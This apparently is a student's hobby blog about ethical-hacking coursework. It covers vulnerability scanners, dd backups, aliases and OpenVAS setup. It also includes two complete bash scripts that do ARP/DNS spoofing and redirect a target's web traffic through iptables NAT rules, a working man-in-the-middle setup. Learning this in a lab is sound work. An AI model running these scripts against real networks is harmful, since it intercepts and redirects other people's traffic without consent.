Nexpose - New Favourite Toy

I did an essay last semester giving a brief comparison of various vulnerability scanners. I have to admit, I didnt install and try as many as i could, mainly because the essay didnt call for it, but i should have.
If I did, i would have found Nexpose sooner!!!

In our Ethical Hacking module, we have to scan and exploit a target. In reality, this is a VM with Metasploitable installed on it.

However, because we were attacking it from any given location, the IP address associated to each VM had to be accesible outside our closed Forensic Lab network.
This means Nessus was a no go due to licencing restrictions and coupled with the fact that OpenVas is such a ball ache - i thought id give Nexpose a go.

Using DD Command

So I thought i really should backup my hard drive on my laptop.
I was in a situation today where a 32GB Memory Stick just wasnt big enough (EnCase!!!).

So i brought a 1TB 2.5" drive today and thought it would be a good opportunity to properly use the DD command to take an image of it.

Here is the syntax i used:

dd if=/dev/sda of=/media/DRIVE-LABEL/backup.dd bs=512k

It took the best part of 3 hours to do 250GB over USB.

Why Didn't I Use "Alias" Alot More Before!?!

I have had a couple of aliases set up for months and months.
Use them all the time, but completely forgot about the actual Alias function and how much time it can save me.

I have gone from having 2/3 to having about 10!

Everything from killing specific processes such as "arpspoof" to quickly "cd" to a favourite folder (my new bashscripts).
I have got a couple for quickly displaying the IPTables and clearing them!

Im going to put a list below this fold mainly for me to remember them if i ever need them again on someone elses laptop.

Oh The Joys Of OpenVas...

Seeing as OpenVas is meant to be built into Kali. Jesus Christ its a pain in the arse to set up!!!!!!!

Ive spent hours upon hours over the past few weeks trying to get it going.
Do you think i got it working? Did i ******!!!!

So many errors, not enough storage space on the internet to store all the screenshots of errors ive had recently.

I really wanted it to work because i enjoy using Kali so much. But it just wasnt going to happen.
So i had a look on the OpenVas website and saw that it was a very simple install to get it going on Fedora and some other distros.
So i downloaded Fedora, booted it into a virtual machine. Updated Fedora (3 hours!!!) and then done the command to install OpenVas.

Why did i not do this in the first place!!!!

The install was painless, the setting up took ages as it was downloading the whole internet i think. Took about 1 hour.

But it works!

SslStrip Bash Script

I had some headaches making this. Figured out i was doing things in the wrong order!!!!!

Right, so, its not perfect. Its in multiple scripts for the moment whilst i try to figure out a way to get them all running from one script and not having to re-type in Port numbers and IP's!

Another DNS Bash Script

Im having fun with these bash scripts.

This one is one of my favourites i think, well it will be when it get it working 100%. Few niggly problems at the moment.

So basically, in the previous one, it redirects the browser to my locally hosted Apache server which can have anything on it.
However, i wanted to have a little bit more fun than that. I wanted the Target to be Re-Directed to a different website.
So if they tried to access "www.bbc.co.uk" they would be redirected to "www.dailymail.co.uk".

I have also added in a line at the end to automatically call the ArpSpoof script.
One major flaw is i cant seem to get it so it actually loads the website properly. There seems to be a lack of CSS on the page it gets re-directed too. I will look into this further......

#!/bin/bash

echo '1' > /proc/sys/net/ipv4/ip_forward

/etc/init.d/apache2 start

iptables -t nat --flush

iptables --zero

echo -e "Enter your interface: wlan0 or eth0"

read NIC

echo -e "Enter Either Your IP - OR IP Of Site To ReDirect Too: EG 192.168.0.4 - OR - 212.58.246.103:80 \n \t\t IF YOU ARE DOING IT TO EXTERNAL IP THEN ADD THE PORT!!!!"

read INTIP

iptables -A FORWARD --in-interface "$NIC" -j ACCEPT

iptables -t nat --append POSTROUTING --out-interface "$NIC" -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "$INTIP"

sh ./ARPSPOOFBASH

Modified DNSSpoof Bash Script

This is slightly modified version of my previous post.
It only spoofs the DNS for a specific URL.
This is better for a MITM attack.

(I should really test this first actually. Oh well....)

#!/bin/bash

echo '1' > /proc/sys/net/ipv4/ip_forward

/etc/init.d/apache2 start

echo -e "REMEMBER TO PERFORM AN ARPSPOOF FIRST OTHERWISE THIS WILL NOT WORK!!!!!!"

echo -e "Please enter your IP and the site you wish to target: EG: 192.168.0.2 www.bbc.co.uk"

read INPUTDNS

echo "$INPUTDNS" > dnsspooftxt.txt

echo -e "Test file:\n\n"

cat dnsspooftxt.txt

echo -e "\n\n Are you using wlan0 or eth0?"

read NIC

echo -e "You Chose:\n"

echo -e "$NIC"

echo -e "Starting DNS Spoof...."

gnome-terminal -x dnsspoof -i "$NIC" -f dnsspooftxt.txt